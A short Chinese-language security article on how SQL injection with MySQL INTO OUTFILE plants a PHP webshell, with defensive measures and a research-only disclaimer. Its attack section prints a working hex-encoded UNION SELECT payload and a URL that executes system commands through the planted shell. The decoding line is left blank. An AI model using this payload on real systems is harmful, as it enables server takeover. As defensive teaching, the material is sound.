首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL 注入生成 Webshell 技術原理與防範

     編輯:MySQL 資料庫相關知識

攻擊原理

攻擊者利用 SQL 注入漏洞,透過 UNION SELECT 結合十六進位編碼,將 PHP 後門代碼寫入 Web 目錄:

SELECT * FROM `vbb_strikes` WHERE 1 UNION SELECT
2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'

十六進位解碼:0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E =

攻擊成功後,訪問 https://target/cmd.php?cmd=dir c: 即可執行系統指令。

關鍵條件

  • MySQL 帳號擁有 FILE 權限(可執行 INTO OUTFILE)。
  • Web 目錄對 MySQL 服務進程可寫。
  • 應用程式存在 SQL 注入點,且未對輸入過濾。

防禦措施

  1. 最小權限原則:應用程式資料庫帳號嚴禁授予 FILE、SHUTDOWN、PROCESS 等高危權限。
  2. 參數化查詢:所有動態 SQL 必須使用 Prepared Statement,杜絕字串拼接。
  3. 禁用 INTO OUTFILE:若業務無需求,可在 my.cnf 設定 secure_file_priv 限制匯出目錄,或啟用 --secure-file-priv 啟動參數。
  4. Web 目錄權限收斂:網站根目錄僅授予讀取/執行權限,嚴禁寫入權限給資料庫進程使用者。
  5. WAF 與日誌審計:部署 Web 應用防火牆攔截異常 SQL,定期審計錯誤/慢查詢日誌。

補充:十六進位編碼技巧

攻擊者常用 UltraEdit 等工具將代碼轉為十六進位繞過過濾。防禦端同樣可用此法驗證日誌中可疑字串:Ctrl+H 切換十六進位模式即可還原。

聲明:本文僅供安全研究與防禦教學,嚴禁用於非法攻擊。請遵守當地法律法規,勿侵害他人系統。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved